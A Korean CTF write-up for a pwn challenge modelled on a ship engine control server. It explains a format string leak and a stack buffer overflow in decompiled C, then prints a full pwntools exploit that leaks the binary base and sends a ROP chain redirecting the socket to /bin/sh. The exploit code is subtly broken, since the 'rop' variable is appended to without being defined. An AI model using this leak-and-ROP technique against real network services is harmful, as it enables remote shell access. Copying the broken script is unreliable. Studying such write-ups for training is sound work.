    (unsigned int)"<span class=\"status-label\">Operator</span> %s &bull; <span class=\"status-label\">Throttle</span> %s"
                  " &bull; <span class=\"status-label\">RPM</span> %s &bull; <span class=\"status-label\">Override</span> %s",
    (unsigned int)v116,
    (unsigned int)v117,
    (unsigned int)v121,
    (char)v125);
  debug_log(
    (unsigned int)"[process_control_packet] confirmation string=\"%s\"\n",
    (unsigned int)v129,
    v12,
    v13,
    v14,
    v15);
  if ( *(_BYTE *)(a2 + 1032) )
  {
    debug_log((unsigned int)"copy!! %d len(%d)\n", 144, *(_QWORD *)(a2 + 1024), v16, v17, v18);
    v19 = *(_QWORD *)(a2 + 1024);
    j_memcpy(v130, a2, v19);
    LODWORD(v20) = v19;
    debug_log((unsigned int)"[process_control_packet] copied operator payload len=%zu\n", v19, v21, v22, v23, v24);
    if ( *(_BYTE *)(a2 + 2072) )
      goto LABEL_7;
LABEL_29:
    strcpy((char *)&v130[2], "maintain");
    debug_log((unsigned int)"[process_control_packet] throttle defaulted to \"maintain\"\n", v20, v25, v26, v27, v28);
    if ( !*(_BYTE *)(a2 + 3112) )
      goto LABEL_17;
LABEL_30:
    v51 = *(_QWORD *)(a2 + 3104);
    v20 = a2 + 2080;
    v52 = &v130[3];
    if ( v51 > 0xF )
      v51 = 15LL;
    v53 = (_DWORD *)(a2 + 2080);
    if ( (unsigned int)v51 >= 8 )
    {
      LODWORD(v100) = 0;
      v37 = v51 & 0xFFFFFFF8;
      do
      {
        v101 = (unsigned int)v100;
        v100 = (unsigned int)(v100 + 8);
        *(_QWORD *)((char *)&v130[3] + v101) = *(_QWORD *)(v20 + v101);
      }
      while ( (unsigned int)v100 < v37 );
      v52 = (_DWORD *)((char *)&v130[3] + v100);
      v53 = (_DWORD *)(v20 + v100);
    }
    v54 = 0LL;
    if ( (v51 & 4) != 0 )
    {
      *v52 = *v53;
      v54 = 4LL;
    }
    if ( (v51 & 2) != 0 )
    {
      LODWORD(v20) = *(unsigned __int16 *)((char *)v53 + v54);
      *(_WORD *)((char *)v52 + v54) = v20;
      v54 += 2LL;
    }
    if ( (v51 & 1) != 0 )
    {
      LODWORD(v53) = *((unsigned __int8 *)v53 + v54);
      *((_BYTE *)v52 + v54) = (_BYTE)v53;
    }
    *((_BYTE *)&v130[3] + v51) = 0;
    debug_log((unsigned int)"[process_control_packet] rpm updated\n", v20, (_DWORD)v53, v54, v37, v38);
    if ( *(_BYTE *)(a2 + 4152) )
      goto LABEL_18;
LABEL_40:
    strcpy((char *)&v130[4], "DISARMED");
    debug_log((unsigned int)"[process_control_packet] override defaulted to \"DISARMED\"\n", v20, v39, v40, v41, v42);
    goto LABEL_41;
  }
  LODWORD(v20) = 0;
  debug_log((unsigned int)"[process_control_packet] operator present=%d\n", 0, v114, v16, v17, v18);
  if ( !*(_BYTE *)(a2 + 2072) )
    goto LABEL_29;
LABEL_7:
  debug_log((unsigned int)"th %s\n", (unsigned int)&v130[2], v25, v26, v27, v28);
  v31 = *(_QWORD *)(a2 + 2064);
  v32 = &v130[2];
  v20 = a2 + 1040;
  if ( v31 > 0xF )
    v31 = 15LL;
  v33 = (_DWORD *)(a2 + 1040);
  if ( (unsigned int)v31 >= 8 )
  {
    LODWORD(v104) = 0;
    v29 = v31 & 0xFFFFFFF8;
    do
    {
      v105 = (unsigned int)v104;
      v104 = (unsigned int)(v104 + 8);
      *(_QWORD *)((char *)&v130[2] + v105) = *(_QWORD *)(v20 + v105);
    }
    while ( (unsigned int)v104 < v29 );
    v32 = (_DWORD *)((char *)&v130[2] + v104);
    v33 = (_DWORD *)(v20 + v104);
  }
  v34 = 0LL;
  if ( (v31 & 4) != 0 )
  {
    *v32 = *v33;
    v34 = 4LL;
  }
  if ( (v31 & 2) != 0 )
  {
    LODWORD(v20) = *(unsigned __int16 *)((char *)v33 + v34);
    *(_WORD *)((char *)v32 + v34) = v20;
    v34 += 2LL;
  }
  if ( (v31 & 1) != 0 )
  {
    LODWORD(v33) = *((unsigned __int8 *)v33 + v34);
    *((_BYTE *)v32 + v34) = (_BYTE)v33;
  }
  *((_BYTE *)&v130[2] + v31) = 0;
  debug_log((unsigned int)"[process_control_packet] throttle updated\n", v20, (_DWORD)v33, v34, v29, v30);
  if ( *(_BYTE *)(a2 + 3112) )
    goto LABEL_30;
LABEL_17:
  strcpy((char *)&v130[3], "1500");
  debug_log((unsigned int)"[process_control_packet] rpm defaulted to \"1500\"\n", v20, v35, v36, v37, v38);
  if ( !*(_BYTE *)(a2 + 4152) )
    goto LABEL_40;
LABEL_18:
  v43 = *(_QWORD *)(a2 + 4144);
  v44 = a2 + 3120;
  v45 = &v130[4];
  if ( v43 > 0xF )
    v43 = 15LL;
  v46 = (_DWORD *)(a2 + 3120);
  if ( (unsigned int)v43 >= 8 )
  {
    LODWORD(v102) = 0;
    v41 = v43 & 0xFFFFFFF8;
    do
    {
      v103 = (unsigned int)v102;
      v102 = (unsigned int)(v102 + 8);
      *(_QWORD *)((char *)&v130[4] + v103) = *(_QWORD *)(v44 + v103);
    }
    while ( (unsigned int)v102 < v41 );
    v45 = (_DWORD *)((char *)&v130[4] + v102);
    v46 = (_DWORD *)(v44 + v102);
  }
  v47 = 0LL;
  if ( (v43 & 4) != 0 )
  {
    *v45 = *v46;
    v47 = 4LL;
  }
  if ( (v43 & 2) != 0 )
  {
    *(_WORD *)((char *)v45 + v47) = *(_WORD *)((char *)v46 + v47);
    v47 += 2LL;
  }
  if ( (v43 & 1) != 0 )
  {
    LODWORD(v46) = *((unsigned __int8 *)v46 + v47);
    *((_BYTE *)v45 + v47) = (_BYTE)v46;
  }
  *((_BYTE *)&v130[4] + v43) = 0;
  debug_log((unsigned int)"[process_control_packet] override updated\n", (_DWORD)v45, (_DWORD)v46, v47, v41, v42);
LABEL_41:
  v11 = *(_BYTE *)(a2 + 5192) == 0;
  v55 = "No diagnostics submitted.";
  v130[5] = _mm_load_si128((const __m128i *)&xmmword_B6970);
  *(__m128i *)((char *)&v130[5] + 9) = _mm_load_si128((const __m128i *)&xmmword_B6980);
  if ( !v11 )
  {
    debug_log(
      (unsigned int)"[process_control_packet] diagnostic message present (len=%zu)\n",
      *(_QWORD *)(a2 + 5184),
      a2 + 4160,
      v48,
      v49,
      v50);
    v55 = (const char *)(a2 + 4160);
  }
  stream_dashboard(a1, (int)v129, (__int64)v55);
  debug_log((unsigned int)"[dump_control_profile] operator_id=\"%s\"\n", (unsigned int)v130, v56, v57, v58, v59);
  debug_log((unsigned int)"[dump_control_profile] throttle_cmd=\"%s\"\n", (unsigned int)&v130[2], v60, v61, v62, v63);
  debug_log((unsigned int)"[dump_control_profile] rpm_target=\"%s\"\n", (unsigned int)&v130[3], v64, v65, v66, v67);
  debug_log((unsigned int)"[dump_control_profile] override_code=\"%s\"\n", (unsigned int)&v130[4], v68, v69, v70, v71);
  debug_log((unsigned int)"[dump_control_profile] status_note=\"%s\"\n", (unsigned int)&v130[5], v72, v73, v74, v75);
  return debug_log(
           (unsigned int)"[process_control_packet] completed processing control packet\n",
           (unsigned int)&v130[5],
           v76,
           v77,
           v78,
           v79);
}

 

문제 코드를 요약하면 선박 엔진 제어 시스템을 모사한 시뮬레이션 환경을 컨셉으로 하고 있습니다.

 

여기서 취약점은 2가지가 존재합니다.

 

취약점 1: Format String Bug (unsafe_log_block)

  • diagnostic 파라미터는 process_control_packet을 거쳐 stream_dashboard -> unsafe_log_block 함수로 전달됩니다.
__int64 __fastcall unsafe_log_block(int a1, int a2, int a3, int a4, int a5, int a6)
{
  int v6; // edx
  int v7; // ecx
  int v8; // r8d
  int v9; // r9d
  int v10; // edx
  int v11; // ecx
  int v12; // r8d
  int v13; // r9d

  dprintf(a1, (unsigned int)"<div class=\"console-entry\">", a3, a4, a5, a6);
  dprintf(a1, a2, v6, v7, v8, v9);
  return dprintf(a1, (unsigned int)"</div>", v10, v11, v12, v13);
}

 

위의 코드에선 사용자의 입력이 포맷 스트링 인자로 바로 들어가므로, %p, %x 등을 통해 메모리 내 libc나 바이너리, 스택 주소를 구할 수 있습니다.

 

취약점 2: Stack Buffer Overflow

process_control_packet 함수에서 operator 파라미터를 처리할 때 치명적인 버그가 존재합니다.

  if ( *(_BYTE *)(a2 + 1032) )
  {
    debug_log((__int64)"copy!! %d len(%d)\n", 144, *(_QWORD *)(a2 + 1024));
    v12 = *(_QWORD *)(a2 + 1024);
    j_memcpy(v78, a2, v12);
    debug_log((__int64)"[process_control_packet] copied operator payload len=%zu\n", v12);
    if ( *(_BYTE *)(a2 + 2072) )
      goto LABEL_7;
LABEL_29:
    strcpy((char *)&v78[2], "maintain");
    debug_log((__int64)"[process_control_packet] throttle defaulted to \"maintain\"\n");
    if ( !*(_BYTE *)(a2 + 3112) )
      goto LABEL_17;

 

위의 코드에서 a2는 사용자로부터 입력되어 url 인코딩된 값이 저장된 변수입니다. 

 

이때 a2에서 1024만큼 길이가 추가된 값을 v12에 저장하여 memcpy의 길이 변수로 넣어주게 되는데 여기서 v78의 길이는 192바이트입니다 (16바이트 * 12)

  __int128 v68; // [rsp+80h] [rbp-1D8h]
  _QWORD v69[2]; // [rsp+90h] [rbp-1C8h] BYREF
  __int128 v70; // [rsp+A0h] [rbp-1B8h]
  __int128 v71; // [rsp+B0h] [rbp-1A8h]
  __int128 v72; // [rsp+C0h] [rbp-198h]
  _QWORD v73[2]; // [rsp+D0h] [rbp-188h] BYREF
  __int128 v74; // [rsp+E0h] [rbp-178h]
  __int128 v75; // [rsp+F0h] [rbp-168h]
  __int128 v76; // [rsp+100h] [rbp-158h]
  char v77[128]; // [rsp+110h] [rbp-148h] BYREF
  _OWORD v78[12]; // [rsp+190h] [rbp-C8h] BYREF

 

따라서 192바이트 변수에 1024바이트 이상의 변수가 작성되어 overflow가 일어나게 됩니다.

 

위의 취약점을 이용해 pie 주소를 구해 rop 체인을 구성하여 익스플로잇을 수행하면 셸을 얻을 수 있습니다.

(정적링크로 구성되어있어 따로 libc 주소는 필요하지 않았습니다.)

 

최종 익스플로잇 코드는 다음과 같습니다.

from pwn import *
import urllib.parse

HOST = '10.100.0.40'
PORT = 30178
LEAK_OFFSET = 0x9f81
context.arch = 'amd64'
context.log_level = 'info'

def send_packet(key, value):
    params = {
        b"operator": b"pwn",
        b"override": b"DISARMED",
        b"throttle": b"100",
        b"rpm": b"2000",
        b"diagnostic": b""
    }
    
    if isinstance(key, str): key = key.encode()
    if isinstance(value, str): value = value.encode()
    
    params[key] = value
    
    body_parts = []
    for k, v in params.items():
        enc_k = urllib.parse.quote_plus(k).encode()
        enc_v = urllib.parse.quote_plus(v).encode()
        body_parts.append(enc_k + b"=" + enc_v)
        
    body = b"&".join(body_parts)

    r = remote(HOST, PORT, level='error')
    req =  b"POST / HTTP/1.0\r\n"
    req += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
    req += b"Content-Type: application/x-www-form-urlencoded\r\n\r\n"
    req += body
    r.send(req)
    
    if key == b"operator": 
        return r
        
    try:
        response = r.recvall(timeout=2)
        r.close()
        start = response.find(b'<div class="console-entry">')
        end = response.find(b'</div>', start)
        if start != -1 and end != -1:
            return response[start+27:end].strip()
        return b""
    except:
        return b""

log.info("Phase 1: Leaking Addresses...")

leak_res = send_packet("diagnostic", "%8$p")
if not leak_res:
    log.error("Server not responding. Restart ./server")

leaked_addr = int(leak_res, 16)
binary_base = leaked_addr - LEAK_OFFSET
log.success(f"Binary Base: {hex(binary_base)}")

log.info("Phase 2: Generating ROP Chain...")

dup2_offset = 0x4aa10
execve_offset = 0x4a920
binsh_offset = 0xb002c

dup2_addr = binary_base + dup2_offset
execve_addr = binary_base + execve_offset
binsh_addr = binary_base + binsh_offset

pop_rdi = binary_base + 0xa00a
pop_rsi_dirty = binary_base + 0xba46 
pop_rdx_dirty = binary_base + 0xaca44

def chain_dup2(oldfd, newfd):
    chain = b""
    chain += p64(pop_rdi) + p64(oldfd)
    chain += p64(pop_rsi_dirty) + p64(newfd) + p64(0) + p64(0)
    chain += p64(dup2_addr)
    return chain

rop += chain_dup2(4, 0)
rop += chain_dup2(4, 1)
rop += chain_dup2(4, 2)

rop += p64(pop_rdi) + p64(binsh_addr)
rop += p64(pop_rsi_dirty) + p64(0) + p64(0) + p64(0)
rop += p64(pop_rdx_dirty) + p64(0) + p64(0) + p64(0)
rop += p64(execve_addr)

payload = b"A" * 192          
payload += b"DEADBEEF"       
payload += rop             

log.info(f"Payload Size: {len(payload)} bytes")

log.info("Phase 3: Sending Exploit...")
r = send_packet("operator", payload) 

log.success("Exploit Sent! Check for shell.")
r.interactive()

 

+ 급하게 푸느라 리버싱을 다 못하고 익스를 진행하였는데 알고보니  셸을 딸 수 있는 함수가 있었습니다 ㅠㅜ,,, (어쩐지 dup2 심볼이 있더라,,,,)

void __fastcall __noreturn launch_sequence(__int64 a1, __int64 a2, __int64 a3, int a4, int a5, int a6)
{
  unsigned int v6; // ebx

  v6 = control_fd;
  if ( control_fd >= 0 )
  {
    dup2((unsigned int)control_fd, 0LL);
    dup2(v6, 1LL);
    dup2(v6, 2LL);
  }
  execl((unsigned int)"/bin/sh", (unsigned int)"sh", 0, a4, a5, a6);
  exit(1);
}

 

'CTF, Wargame' 카테고리의 다른 글

[Dreamhack] Magnus Carlsen  (0) 2025.12.27
[2025 ACS] deep_dive  (0) 2025.11.19
[2025 ACDC] Audio Challenge  (0) 2025.11.15
[hacktheon CTF] Barcode  (0) 2025.09.11
[hacktheon CTF] I love revsersing  (0) 2025.09.11